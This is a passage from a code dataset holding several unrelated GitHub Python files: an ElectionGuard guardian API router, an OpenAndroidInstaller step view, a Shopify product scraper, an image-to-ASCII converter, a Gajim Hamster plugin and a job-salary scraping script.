str(result[2]))\n\noutFile.close()","repo_name":"nibose92/MultiAlignment_Toolkit","sub_path":"Python_Version/Muscle.py","file_name":"Muscle.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"11332502434","text":"import traceback\nimport sys\nfrom typing import Dict, List\nfrom fastapi import APIRouter, Body, status, HTTPException, Request\n\nfrom electionguard.auxiliary import AuxiliaryKeyPair\nfrom electionguard.election_polynomial import ElectionPolynomial\nfrom electionguard.group import hex_to_q_unchecked\nfrom electionguard.key_ceremony import (\n PublicKeySet,\n ElectionPartialKeyBackup,\n ElectionPartialKeyChallenge,\n generate_election_key_pair,\n generate_rsa_auxiliary_key_pair,\n generate_election_partial_key_backup,\n generate_election_partial_key_challenge,\n verify_election_partial_key_backup,\n verify_election_partial_key_challenge,\n)\nfrom electionguard.rsa import rsa_decrypt, rsa_encrypt\nfrom electionguard.serializable import read_json_object, write_json_object\nfrom electionguard.type import GUARDIAN_ID\n\nfrom app.api.v1.models.base import BaseQueryRequest\nfrom app.api.v1.models.guardian import ApiGuardianQueryResponse\n\nfrom ....core.client import get_client_id\nfrom ....core.guardian import get_guardian, update_guardian\nfrom ....core.repository import get_repository, DataCollection\nfrom ..models import (\n BaseResponse,\n BackupChallengeRequest,\n BackupChallengeResponse,\n BackupVerificationRequest,\n BackupVerificationResponse,\n ChallengeVerificationRequest,\n Guardian,\n CreateGuardianRequest,\n GuardianPublicKeysResponse,\n GuardianBackupResponse,\n GuardianBackupRequest,\n to_sdk_guardian,\n)\nfrom ..tags import GUARDIAN\n\nrouter = APIRouter()\n\nidentity = lambda message, key: message\n\n\n@router.get(\"\", response_model=Guardian, tags=[GUARDIAN])\ndef fetch_guardian(request: Request, guardian_id: str) -> Guardian:\n \"\"\"\n Fetch a guardian. The response includes the private key information of the guardian.\n \"\"\"\n return get_guardian(guardian_id, request.app.state.settings)\n\n\n@router.get(\"/public-keys\", response_model=GuardianPublicKeysResponse, tags=[GUARDIAN])\ndef fetch_public_keys(request: Request, guardian_id: str) -> GuardianPublicKeysResponse:\n \"\"\"\n Fetch the public key information for a guardian.\n \"\"\"\n guardian = get_guardian(guardian_id, request.app.state.settings)\n sdk_guardian = to_sdk_guardian(guardian)\n\n return GuardianPublicKeysResponse(\n public_keys=write_json_object(sdk_guardian.share_public_keys()),\n )\n\n\n@router.post(\"\", response_model=GuardianPublicKeysResponse, tags=[GUARDIAN])\ndef create_guardian(\n request: Request,\n data: CreateGuardianRequest = Body(...),\n) -> GuardianPublicKeysResponse:\n \"\"\"\n Create a guardian for the election process with the associated keys.\n \"\"\"\n election_keys = generate_election_key_pair(\n data.guardian_id,\n data.sequence_order,\n data.quorum,\n hex_to_q_unchecked(data.nonce) if data.nonce is not None else None,\n )\n if data.auxiliary_key_pair is None:\n auxiliary_keys = generate_rsa_auxiliary_key_pair(\n data.guardian_id, data.sequence_order\n )\n else:\n auxiliary_keys = read_json_object(data.auxiliary_key_pair, AuxiliaryKeyPair)\n if not election_keys:\n raise HTTPException(\n status_code=500,\n detail=\"Election keys failed to be generated\",\n )\n if not auxiliary_keys:\n raise HTTPException(\n status_code=500, detail=\"Auxiliary keys failed to be generated\"\n )\n guardian = Guardian(\n guardian_id=data.guardian_id,\n name=data.name,\n sequence_order=data.sequence_order,\n number_of_guardians=data.number_of_guardians,\n quorum=data.quorum,\n election_keys=write_json_object(election_keys),\n auxiliary_keys=write_json_object(auxiliary_keys),\n )\n sdk_guardian = to_sdk_guardian(guardian)\n\n try:\n with get_repository(\n get_client_id(), DataCollection.GUARDIAN, request.app.state.settings\n ) as repository:\n query_result = repository.get({\"guardian_id\": data.guardian_id})\n if not query_result:\n repository.set(guardian.dict())\n else:\n raise HTTPException(\n status_code=status.HTTP_409_CONFLICT,\n detail=f\"Already exists {data.guardian_id}\",\n )\n except HTTPException:\n raise\n except Exception as error:\n traceback.print_exc()\n raise HTTPException(\n status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,\n detail=\"Submit guardian failed\",\n ) from error\n\n return GuardianPublicKeysResponse(\n public_keys=write_json_object(sdk_guardian.share_public_keys()),\n )\n\n\n@router.post(\"/backup\", response_model=GuardianBackupResponse, tags=[GUARDIAN])\ndef create_guardian_backup(\n request: Request, data: GuardianBackupRequest\n) -> GuardianBackupResponse:\n \"\"\"\n Generate election partial key backups by using the public keys included in the request.\n \"\"\"\n guardian = get_guardian(data.guardian_id, request.app.state.settings)\n polynomial = read_json_object(\n guardian.election_keys[\"polynomial\"], ElectionPolynomial\n )\n\n encrypt = identity if data.override_rsa else rsa_encrypt\n backups: Dict[GUARDIAN_ID, ElectionPartialKeyBackup] = {}\n cohort_public_keys: Dict[GUARDIAN_ID, PublicKeySet] = {}\n for key_set in data.public_keys:\n cohort_key_set = read_json_object(key_set, PublicKeySet)\n cohort_owner_id = cohort_key_set.election.owner_id\n\n backup = generate_election_partial_key_backup(\n guardian.guardian_id,\n polynomial,\n cohort_key_set.auxiliary,\n encrypt,\n )\n if not backup:\n raise HTTPException(\n status_code=500,\n detail=f\"Backup failed to be generated for {cohort_owner_id}\",\n )\n backups[cohort_owner_id] = backup\n cohort_public_keys[cohort_owner_id] = cohort_key_set\n\n guardian.backups = {\n owner_id: write_json_object(backup) for (owner_id, backup) in backups.items()\n }\n guardian.cohort_public_keys = {\n owner_id: write_json_object(key_set)\n for (owner_id, key_set) in cohort_public_keys.items()\n }\n update_guardian(guardian.guardian_id, guardian, request.app.state.settings)\n\n return GuardianBackupResponse(\n guardian_id=data.guardian_id,\n backups=[write_json_object(backup) for (id, backup) in backups.items()],\n )\n\n\n@router.post(\"/backup/verify\", response_model=BaseResponse, tags=[GUARDIAN])\ndef verify_backup(request: Request, data: BackupVerificationRequest) -> BaseResponse:\n \"\"\"Receive and verify election partial key backup value is in polynomial.\"\"\"\n guardian = get_guardian(data.guardian_id, request.app.state.settings)\n auxiliary_keys = read_json_object(guardian.auxiliary_keys, AuxiliaryKeyPair)\n backup = read_json_object(data.backup, ElectionPartialKeyBackup)\n cohort_keys = read_json_object(\n guardian.cohort_public_keys[backup.owner_id], PublicKeySet\n )\n decrypt = identity if data.override_rsa else rsa_decrypt\n verification = verify_election_partial_key_backup(\n data.guardian_id,\n backup,\n cohort_keys.election,\n auxiliary_keys,\n decrypt,\n )\n if not verification:\n raise HTTPException(\n status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,\n detail=\"Backup verification process failed\",\n )\n\n guardian.cohort_backups[backup.owner_id] = write_json_object(backup)\n guardian.cohort_verifications[backup.owner_id] = write_json_object(verification)\n update_guardian(guardian.guardian_id, guardian, request.app.state.settings)\n\n return BaseResponse()\n\n\n@router.post(\"/challenge\", response_model=BaseResponse, tags=[GUARDIAN])\ndef create_backup_challenge(\n request: Request, data: BackupChallengeRequest\n) -> BaseResponse:\n \"\"\"Publish election backup challenge of election partial key verification.\"\"\"\n guardian = get_guardian(data.guardian_id, request.app.state.settings)\n polynomial = read_json_object(\n guardian.election_keys[\"polynomial\"], ElectionPolynomial\n )\n backup = read_json_object(data.backup, ElectionPartialKeyBackup)\n\n challenge = generate_election_partial_key_challenge(\n backup,\n polynomial,\n )\n if not challenge:\n raise HTTPException(\n status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,\n detail=\"Backup challenge generation failed\",\n )\n\n guardian.cohort_challenges[backup.owner_id] = write_json_object(challenge)\n update_guardian(guardian.guardian_id, guardian, request.app.state.settings)\n return BackupChallengeResponse(challenge=write_json_object(challenge))\n\n\n@router.post(\n \"/challenge/verify\", response_model=BackupVerificationResponse, tags=[GUARDIAN]\n)\ndef verify_challenge(\n request: ChallengeVerificationRequest,\n) -> BackupVerificationResponse:\n \"\"\"Verify challenge of previous verification of election partial key.\"\"\"\n verification = verify_election_partial_key_challenge(\n request.verifier_id,\n read_json_object(request.challenge, ElectionPartialKeyChallenge),\n )\n if not verification:\n raise HTTPException(\n status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,\n detail=\"Challenge verification process failed\",\n )\n return BackupVerificationResponse(verification=write_json_object(verification))\n\n\n@router.post(\"/find\", response_model=ApiGuardianQueryResponse, tags=[GUARDIAN])\ndef find_guardians(\n request: Request,\n skip: int = 0,\n limit: int = 100,\n data: BaseQueryRequest = Body(...),\n) -> ApiGuardianQueryResponse:\n \"\"\"\n Find Guardians.\n\n Search the repository for guardians that match the filter criteria specified in the request body.\n If no filter criteria is specified the API will iterate all available data.\n \"\"\"\n try:\n print(\"start\")\n filter = write_json_object(data.filter) if data.filter else {}\n with get_repository(\n get_client_id(), DataCollection.GUARDIAN, request.app.state.settings\n ) as repository:\n cursor = repository.find(filter, skip, limit)\n guardians: List[Guardian] = []\n print(\"before append\")\n for item in cursor:\n guardians.append(item)\n print(\"before return\")\n return ApiGuardianQueryResponse(guardians=guardians)\n except Exception as error:\n print(sys.exc_info())\n raise HTTPException(\n status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,\n detail=\"find guardians failed\",\n ) from error\n","repo_name":"microsoft/electionguard-api-python","sub_path":"app/api/v1/guardian/guardian.py","file_name":"guardian.py","file_ext":"py","file_size_in_byte":10646,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"22"} +{"seq_id":"19034437802","text":"\"\"\"Contains the steps view.\"\"\"\n\n# This file is part of OpenAndroidInstaller.\n# OpenAndroidInstaller is free software: you can redistribute it and/or modify it under the terms of\n# the GNU General Public License as published by the Free Software Foundation,\n# either version 3 of the License, or (at your option) any later version.\n\n# OpenAndroidInstaller is distributed in the hope that it will be useful, but WITHOUT ANY\n# WARRANTY; without even the implied warranty of MERCHANTABILITY or\n# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License along with OpenAndroidInstaller.\n# If not, see .\"\"\"\n# Author: Tobias Sterbak\n\nfrom loguru import logger\nfrom time import sleep\nfrom typing import Callable\nfrom functools import partial\n\nfrom flet import (\n Column,\n ElevatedButton,\n Row,\n icons,\n TextField,\n Switch,\n colors,\n)\n\n\nfrom styles import (\n Text,\n Markdown,\n)\n\nfrom views import BaseView\nfrom installer_config import Step\nfrom app_state import AppState\nfrom tooling import (\n adb_reboot,\n adb_reboot_bootloader,\n adb_reboot_download,\n adb_reboot_recovery,\n adb_sideload,\n adb_twrp_copy_partitions,\n fastboot_boot_recovery,\n fastboot_flash_boot,\n fastboot_flash_recovery,\n fastboot_reboot_recovery,\n fastboot_flash_additional_partitions,\n fastboot_oem_unlock,\n fastboot_reboot,\n fastboot_unlock,\n fastboot_unlock_critical,\n fastboot_unlock_with_code,\n fastboot_get_unlock_data,\n heimdall_flash_recovery,\n)\nfrom widgets import (\n call_button,\n confirm_button,\n get_title,\n link_button,\n TerminalBox,\n ProgressIndicator,\n)\n\n\nclass StepView(BaseView):\n def __init__(\n self,\n step: Step,\n state: AppState,\n on_confirm: Callable,\n ):\n super().__init__(state=state, image=step.img)\n self.step = step\n self.on_confirm = on_confirm\n\n # text input\n self.inputtext = TextField(\n hint_text=\"your unlock code\", expand=False\n ) # textfield for the unlock code\n\n def build(self):\n \"\"\"Create the content of a view from step.\"\"\"\n # error text\n self.error_text = Text(\"\", color=colors.RED)\n\n # switch to enable advanced output - here it means show terminal input/output in tool\n def check_advanced_switch(e):\n \"\"\"Check the box to enable advanced output.\"\"\"\n if self.advanced_switch.value:\n logger.info(\"Enable advanced output.\")\n self.state.advanced = True\n self.terminal_box.toggle_visibility()\n else:\n logger.info(\"Disable advanced output.\")\n self.state.advanced = False\n self.terminal_box.toggle_visibility()\n self.right_view.update()\n\n self.advanced_switch = Switch(\n label=\"Advanced output\",\n on_change=check_advanced_switch,\n disabled=False,\n value=self.state.advanced,\n )\n # text box for terminal output\n self.terminal_box = TerminalBox(expand=True, visible=self.state.advanced)\n\n # container for progress indicators\n self.progress_indicator = ProgressIndicator(expand=True)\n\n # main controls\n steps_indicator_img_lookup = {\n \"Unlock the bootloader\": \"steps-header-unlock.png\",\n \"Boot custom recovery\": \"steps-header-recovery.png\",\n }\n self.right_view_header.controls = [\n get_title(\n f\"{self.step.title}\",\n step_indicator_img=steps_indicator_img_lookup.get(self.step.title),\n )\n ]\n self.right_view.controls = [\n Markdown(f\"{self.step.content}\"),\n ]\n # basic view depending on step.type\n logger.info(f\"Starting step of type {self.step.type}.\")\n self.confirm_button = confirm_button(self.on_confirm)\n if self.step.type == \"confirm_button\":\n self.right_view.controls.append(Row([self.confirm_button]))\n elif self.step.type == \"call_button\":\n self.confirm_button.disabled = True\n self.call_button = call_button(\n self.call_to_phone, command=self.step.command\n )\n self.right_view.controls.extend(\n [\n Row([self.error_text]),\n Row([self.progress_indicator]),\n Column(\n [\n self.advanced_switch,\n Row([self.call_button, self.confirm_button]),\n ]\n ),\n Row([self.terminal_box]),\n ]\n )\n elif self.step.type == \"call_button_with_input\":\n self.confirm_button.disabled = True\n self.call_button = call_button(\n self.call_to_phone, command=self.step.command\n )\n self.right_view.controls.extend(\n [\n self.inputtext,\n Row([self.error_text]),\n Row([self.progress_indicator]),\n Column(\n [\n self.advanced_switch,\n Row([self.call_button, self.confirm_button]),\n ]\n ),\n Row([self.terminal_box]),\n ]\n )\n elif self.step.type == \"link_button_with_confirm\":\n self.right_view.controls.extend(\n [Row([link_button(self.step.link, \"Open Link\"), self.confirm_button])]\n )\n\n elif self.step.type != \"text\":\n logger.error(f\"Unknown step type: {self.step.type}\")\n raise Exception(f\"Unknown step type: {self.step.type}\")\n\n # if skipping is allowed add a button to the view\n if self.step.allow_skip or self.state.test:\n self.right_view.controls.append(\n Row(\n [\n Text(\"Do you want to skip?\"),\n ElevatedButton(\n \"Skip\",\n on_click=self.on_confirm,\n icon=icons.NEXT_PLAN_OUTLINED,\n expand=True,\n ),\n ]\n )\n )\n return self.view\n\n def call_to_phone(self, e, command: str):\n \"\"\"\n Run the command given on the phone.\n\n Some parts of the command are changed by placeholders.\n \"\"\"\n # clean the previous error display\n self.error_text.value = \"\"\n # disable the call button while the command is running\n self.call_button.disabled = True\n # reset the progress indicators\n self.progress_indicator.clear()\n # reset terminal output\n if self.state.advanced:\n self.terminal_box.clear()\n self.right_view.update()\n\n # get the appropriate function to run for every possible command.\n cmd_mapping = {\n \"adb_reboot\": adb_reboot,\n \"adb_reboot_bootloader\": adb_reboot_bootloader,\n \"adb_reboot_download\": adb_reboot_download,\n \"adb_reboot_recovery\": adb_reboot_recovery,\n \"adb_sideload\": partial(adb_sideload, target=self.state.image_path),\n \"adb_twrp_copy_partitions\": partial(\n adb_twrp_copy_partitions, config_path=self.state.config_path\n ),\n \"fastboot_unlock\": fastboot_unlock,\n \"fastboot_unlock_critical\": fastboot_unlock_critical,\n \"fastboot_unlock_with_code\": partial(\n fastboot_unlock_with_code, unlock_code=self.inputtext.value\n ),\n \"fastboot_oem_unlock\": fastboot_oem_unlock,\n \"fastboot_get_unlock_data\": fastboot_get_unlock_data,\n \"fastboot_boot_recovery\": partial(\n fastboot_boot_recovery,\n recovery=self.state.recovery_path,\n is_ab=self.state.config.is_ab,\n ),\n \"fastboot_flash_boot\": partial(\n fastboot_flash_boot,\n recovery=self.state.recovery_path,\n ),\n \"fastboot_flash_recovery\": partial(\n fastboot_flash_recovery,\n recovery=self.state.recovery_path,\n is_ab=self.state.config.is_ab,\n ),\n \"fastboot_reboot_recovery\": fastboot_reboot_recovery,\n \"fastboot_flash_additional_partitions\": partial(\n fastboot_flash_additional_partitions,\n dtbo=self.state.dtbo_path,\n vbmeta=self.state.vbmeta_path,\n super_empty=self.state.super_empty_path,\n is_ab=self.state.config.is_ab,\n ),\n \"fastboot_reboot\": fastboot_reboot,\n \"heimdall_flash_recovery\": partial(\n heimdall_flash_recovery, recovery=self.state.recovery_path\n ),\n }\n\n # run the right command\n if command in cmd_mapping.keys():\n for line in cmd_mapping.get(command)(bin_path=self.state.bin_path): # type: ignore\n # write the line to advanced output terminal\n self.terminal_box.write_line(line)\n self.progress_indicator.display_progress_ring()\n else:\n msg = f\"Unknown command type: {command}. Stopping.\"\n logger.error(msg)\n self.error_text.value = msg\n raise Exception(msg)\n success = line # the last element of the iterable is a boolean encoding success/failure\n\n # update the view accordingly\n if not success:\n # enable call button to retry\n self.call_button.disabled = False\n # also remove the last error text if it happened\n self.error_text.value = f\"Command {command} failed! Try again or make sure everything is setup correctly.\"\n else:\n sleep(5) # wait to make sure everything is fine\n logger.success(f\"Command {command} run successfully. Allow to continue.\")\n # enable the confirm button and disable the call button\n self.confirm_button.disabled = False\n self.call_button.disabled = True\n # reset the progress indicator (let the progressbar stay for the install command)\n self.progress_indicator.clear()\n self.view.update()\n","repo_name":"openandroidinstaller-dev/openandroidinstaller","sub_path":"openandroidinstaller/views/step_view.py","file_name":"step_view.py","file_ext":"py","file_size_in_byte":10571,"program_lang":"python","lang":"en","doc_type":"code","stars":334,"dataset":"github-code","pt":"22"} +{"seq_id":"74716700216","text":"import sys\nfrom pathlib import Path\n\nDIR = Path(__file__).resolve().parent\nsys.path.insert(0, str(DIR.parent.parent.parent.parent))\n__package__ = DIR.name\n\nimport django\n\ndjango.setup()\nfrom Shopify import *\nfrom scrapy import signals\n\nstore_url = sys.argv[4]\n\n\nclass TheJauntScrapper(shopify):\n @classmethod\n def from_crawler(cls, crawler, *args, **kwargs):\n spider = super(TheJauntScrapper, cls).from_crawler(crawler, *args, **kwargs)\n crawler.signals.connect(spider.spider_closed, signal=signals.spider_closed)\n return spider\n\n def GetProductUrls(self, homePageResponse):\n # ========== Category And Subcategory ==========#\n topCategoryNodes = homePageResponse.xpath(\n \"//ul[contains(@class,'top-level')]/li/a[contains(text(),'Women')]\")\n for topCategoryNode in topCategoryNodes:\n topCategoryTitle = topCategoryNode.xpath(\"./text()\").get().strip()\n topCategorylink = topCategoryNode.xpath(\"./@href\").get()\n if not topCategorylink.startswith(store_url):\n topCategorylink = store_url.rstrip('/') + topCategorylink\n categoryNodes = homePageResponse.xpath(\n \"//nav[contains(@id,'womens-menu')]/ul/li[a[contains(text(),'Clothing') or contains(text(),'Newest') or contains(text(),'Clearance')]]\")\n for categoryNode in categoryNodes:\n categoryTitle = categoryNode.xpath(\"./a/text()\").get().strip()\n categorylink = categoryNode.xpath(\"./a/@href\").get()\n if not categorylink.startswith(store_url):\n categorylink = store_url.rstrip('/') + categorylink\n subCategoryNodes = categoryNode.xpath(\n \"./div//div/p[contains(text(),'CATEGORY')]/following-sibling::nav/ul/li/a[contains(text(),'Dress') or contains(text(),'Jumpsuits')]\")\n if not subCategoryNodes:\n category = topCategoryTitle + \" \" + categoryTitle\n self.listing(categorylink, category)\n for subCategoryNode in subCategoryNodes:\n subCategoryTitle = subCategoryNode.xpath(\"./text()\").get().strip()\n subCategorylink = subCategoryNode.xpath(\"./@href\").get()\n if not subCategorylink.startswith(store_url):\n subCategorylink = store_url.rstrip('/') + subCategorylink\n # =================== BREADCRUM =================== #\n category = topCategoryTitle + \" \" + categoryTitle + \" \" + subCategoryTitle\n # ======================================#\n self.listing(subCategorylink, category)\n return Spider_BaseClass.AllProductUrls\n\n def listing(self, categorylink, category):\n CategoryLinkResponse = requests.get(categorylink)\n categoryPageResponse = HtmlResponse(url=categorylink, body=CategoryLinkResponse.text, encoding='utf-8')\n product_list = categoryPageResponse.xpath(\n \"//a[contains(@class,'grid-product__meta')]/@href\").extract()\n for productUrl in product_list:\n if not productUrl.startswith(store_url):\n productUrl = store_url.rstrip('/') + productUrl\n productUrl = self.GetCanonicalUrl(productUrl)\n Spider_BaseClass.AllProductUrls.append(productUrl)\n siteMapCategory = str(Spider_BaseClass.ProductUrlsAndCategory.get(productUrl)).replace('None', '')\n if siteMapCategory:\n Spider_BaseClass.ProductUrlsAndCategory[productUrl] = siteMapCategory + \" \" + category\n else:\n Spider_BaseClass.ProductUrlsAndCategory[productUrl] = category\n try:\n nextpageUrl = \\\n categoryPageResponse.xpath(\"//link[@rel='next']/@href\").extract()[0]\n if not nextpageUrl.startswith(store_url):\n nextpageUrl = store_url.rstrip('/') + nextpageUrl\n self.listing(nextpageUrl, category)\n except:\n pass\n\n def GetProducts(self, response):\n ignorProduct = self.IgnoreProduct(response)\n if ignorProduct == True:\n self.ProductIsOutofStock(GetterSetter.ProductUrl)\n shopify.productJson = json.loads(self.SetProductJson(response))\n categoryAndName = shopify.GetCategory(self, response) + \" \" + self.GetName(response)\n if (re.search('Newest', categoryAndName, re.IGNORECASE) or\n re.search('Clearance', categoryAndName, re.IGNORECASE)) and not \\\n re.search(r'\\b((shirt(dress?)|jump(suit?)|dress|gown|suit|caftan)(s|es)?)\\b', categoryAndName,\n re.IGNORECASE):\n print('Skipping Non Dress Product')\n self.ProductIsOutofStock(GetterSetter.ProductUrl)\n else:\n self.GetProductInfo(response)\n\n def GetName(self, response):\n color = self.GetSelectedColor(response)\n name = shopify.GetName(self, response)\n if not color == '' and not re.search(color, name):\n name = name + ' - ' + color\n return name\n\n def GetSelectedColor(self, response):\n try:\n return response.xpath(\n \"//label[contains(text(),'Color')]/span[contains(@class,'color-option')]/text()\").get().strip()\n except:\n return ''\n\n def IgnoreProduct(self, response):\n if re.search('\"availability\":', response.text):\n productAvailability = response.text.split('\"availability\":')[1].split(',')[0].strip()\n if not 'InStock' in productAvailability:\n return True\n else:\n return False\n","repo_name":"rizwaankhan/FashionADs","sub_path":"FashionStores/Scrapers/Scrapers/spiders/thejauntscrapper.py","file_name":"thejauntscrapper.py","file_ext":"py","file_size_in_byte":5655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"14706241166","text":"import PIL.Image\r\nimport PIL\r\n\r\nASCII_CHARS = [\"@\", \"#\", \"S\", \"%\", \"?\", \"*\", \"+\", \";\", \":\", \",\", \".\"]\r\n\r\ndef recizeImg(img, newWidth = 100):\r\n '''function resizing an image'''\r\n width, height = img.size\r\n ratio = height/ float(width * 2.5)\r\n newHeight = int(newWidth * ratio)\r\n resizedImage = img.resize((newWidth,newHeight))\r\n return resizedImage\r\n\r\n\r\n\r\ndef imgGray(img):\r\n '''function converting an image to gray scale'''\r\n grayscaleImage = img.convert(\"L\")\r\n return grayscaleImage\r\n\r\n\r\ndef pxlToAscii(img):\r\n '''function converting gray pixels to Ascii symbols'''\r\n pixels = img.getdata()\r\n characters = \"\".join([ASCII_CHARS[pixel//25] for pixel in pixels])\r\n return (characters)\r\n\r\n\r\n\r\ndef imgToAscii(imgFrame, newWidth=100):\r\n\r\n path = imgFrame\r\n\r\n frame = PIL.Image.open(path)\r\n\r\n newImgData = pxlToAscii(imgGray(recizeImg(frame)))\r\n\r\n pixelCount = len(newImgData)\r\n asciiImage = \"\\n\".join(newImgData[i:(i+newWidth)] for i in range (0, pixelCount, newWidth))\r\n\r\n print(asciiImage)\r\n print()\r\n print()","repo_name":"MatveiBG/Ascii-Player","sub_path":"imgAscii.py","file_name":"imgAscii.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"74995053176","text":"# -*- coding: utf-8 -*-\n\nimport dbus\nimport datetime as dt\nimport gobject\nimport os\n\nfrom common import gajim\nfrom common import ged\nfrom common import dbus_support\nfrom plugins import GajimPlugin\nfrom plugins.helpers import log_calls, log\nfrom common.pep import ACTIVITIES\n\nHAMSTAER_INTERFACE = 'org.gnome.Hamster'\nSUBACTIVITIES = []\nsubactivity_ = [ACTIVITIES[x].keys() for x in ACTIVITIES.keys()]\nfor x in subactivity_ :\n SUBACTIVITIES = SUBACTIVITIES + x\nSUBACTIVITIES = set(SUBACTIVITIES)\nSUBACTIVITIES.remove('category')\nXMPP_ACTIVITIES = set(ACTIVITIES.keys())\n\nclass HamsterIntegrationPlugin(GajimPlugin):\n\n @log_calls('HamsterIntegrationPlugin')\n def init(self):\n self.config_dialog = None\n self.events_handlers = {}\n if os.name == 'nt':\n self.available_text = _('Plugin can\\'t be run under Windows.')\n self.activatable = False\n\n @log_calls('HamsterIntegrationPlugin')\n def activate(self):\n if not dbus_support.supported:\n return\n\n self.bus = dbus_support.session_bus.SessionBus()\n try:\n self.session_presence = self.bus.get_object(HAMSTAER_INTERFACE,\n '/org/gnome/Hamster')\n except:\n gajim.log.debug('Hamster D-Bus service not found')\n return\n\n self.bus.add_signal_receiver(self.hamster_facts_changed, 'FactsChanged',\n HAMSTAER_INTERFACE)\n gajim.ged.register_event_handler('signed-in', ged.POSTGUI,\n self.on_signed_in)\n\n @log_calls('HamsterIntegrationPlugin')\n def deactivate(self):\n if not dbus_support.supported or not self.active:\n return\n\n self.bus.remove_signal_receiver(self.hamster_facts_changed,\n \"FactsChanged\", dbus_interface=HAMSTAER_INTERFACE)\n gajim.ged.remove_event_handler('signed-in', ged.POSTGUI,\n self.on_signed_in)\n\n def hamster_facts_changed(self, *args, **kw):\n # get hamster tags\n facts = self.session_presence.GetTodaysFacts(\n dbus_interface=HAMSTAER_INTERFACE)\n if not facts:\n return\n if self.from_dbus_fact(facts[-1])['end_time']:\n accounts = gajim.connections.keys()\n for account in accounts:\n if gajim.account_is_connected(account):\n connection = gajim.connections[account]\n connection.retract_activity()\n return\n\n last_fact = self.from_dbus_fact(facts[-1])\n tags = set(last_fact['tags'])\n\n activity = \"Other\"\n activity_candidates = XMPP_ACTIVITIES.intersection(tags)\n if len(activity_candidates) >= 1:\n activity=list(activity_candidates)[0]\n subactivity = 'other'\n subactivity_candidates = SUBACTIVITIES.intersection(tags)\n if len(subactivity_candidates) >= 1:\n subactivity=list(subactivity_candidates)[0]\n\n # send activity\n for account in gajim.connections:\n if gajim.account_is_connected(account):\n connection = gajim.connections[account]\n connection.send_activity(activity, subactivity,\n last_fact['fact'])\n\n def from_dbus_fact(self, fact):\n '''unpack the struct into a proper dict'''\n return dict(fact = fact[4],\n start_time = dt.datetime.utcfromtimestamp(fact[1]),\n end_time = dt.datetime.utcfromtimestamp(fact[2]) if fact[2] else None,\n description = fact[3],\n activity_id = fact[5],\n category = fact[6],\n tags = fact[7],\n date = dt.datetime.utcfromtimestamp(fact[8]).date(),\n delta = dt.timedelta(days = fact[9] // (24 * 60 * 60),\n seconds = fact[9] % (24 * 60 * 60)),\n id = fact[0])\n\n def on_signed_in(self, network_event):\n gobject.timeout_add(5000,self.hamster_facts_changed)\n","repo_name":"lheckemann/gajim-plugins","sub_path":"hamster/hamster.py","file_name":"hamster.py","file_ext":"py","file_size_in_byte":3894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"42311249903","text":"import requests\r\nimport pandas as pd\r\nimport plotly.express as px\r\n# fungsi library plotly adalah untuk membentuk diagram lingkaran atau batang\r\nfrom bs4 import BeautifulSoup\r\n# ambil data lowongan kerja dari website jobs.id\r\nurl = \"https://www.jobs.id/lowongan-kerja-programmer?kata-kunci=programmer\"\r\nhalaman_web = requests.get(url)\r\nhasil = BeautifulSoup(halaman_web.content, 'html.parser')\r\nlowkers = hasil.find_all(class_=\"single-job-ads\")\r\nposisi = []\r\ninstansi = []\r\ngaji = []\r\nlokasi = []\r\nfor info in lowkers:\r\n s1 = info.select(\"h3\")\r\n s2 = s1[0].select(\"a\")\r\n posisi.append(s2[0].get_text())\r\n lokasi.append(info.find(\"span\",class_=\"location\").get_text())\r\n \r\n s1 = info.select(\"p\")\r\n s2 = s1[0].select(\"a\")\r\n try:\r\n instansi.append(s2[0].get_text())\r\n except:\r\n instansi.append(\"-\")\r\n s2 = s1[1].select(\"span\")\r\n try:\r\n gaji.append(s2[1].get_text())\r\n except:\r\n gaji.append(s2[0].get_text())\r\n \r\nlowkers = pd.DataFrame({\r\n \"Posisi\": posisi,\r\n \"Instansi\": instansi,\r\n \"Gaji\": gaji,\r\n \"Lokasi\": lokasi\r\n})\r\n# menerapkan konsep OOP atau yang bisa disebut Object Oriented Programming Python\r\n# untuk mengubah nilai gaji yang string menjadi float\r\ndef ubah_gaji(gaji):\r\n try:\r\n return float(gaji.replace(\"Rp\", \"\").replace(\".\", \"\").strip())\r\n except:\r\n return None\r\n# konversi kolom Gaji menjadi sebuah tipe data float\r\nlowkers[\"Gaji\"] = lowkers[\"Gaji\"].apply(ubah_gaji)\r\n# menghapus nilai numeric pada Gaji\r\nlowkers = lowkers.dropna(subset=[\"Gaji\"])\r\nlowkers = lowkers[lowkers[\"Gaji\"] > 0]\r\n# program menghitung gaji rata rata berdasarkan perkejaan\r\nrata_rata_gaji = lowkers[\"Gaji\"].mean() / 1000000\r\n# print rata-rata gaji\r\n#\"Rata-rata gaji: Rp{:.2f} juta\".format(rata_rata_gaji)\r\n# urutkan data berdasarkan gaji terkecil dan terbesar menggunakan\r\n# ascending \r\nlowkers = lowkers.sort_values(by=[\"Gaji\"], ascending=True)\r\n# Mencari nilai tengah gaji\r\nmedian_gaji = lowkers[\"Gaji\"].median() / 1000000\r\n# membentuk data menggunakan diagram lingkaran\r\nfig = px.pie(\r\n lowkers, values='Gaji', names='Posisi', hover_data=['Lokasi'],\r\n title='Gaji Rata-Rata Programmer di jobs.id adalah Rp{:.2f} juta'.format(rata_rata_gaji))\r\n# tambahkan teks median pada diagram\r\nfig.add_annotation(dict\r\n (text='Nilai Tengah Gaji: {:.2f} juta'.format(median_gaji),\r\n x=0, y=1, font_size=16, showarrow=False))\r\nfig.show()","repo_name":"PyAde/DATA-ANALISIS","sub_path":"median_lingkaran.py","file_name":"median_lingkaran.py","file_ext":"py","file_size_in_byte":2427,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"12352875837","text":"from .utils import convl2D\nimport numpy as np\nimport 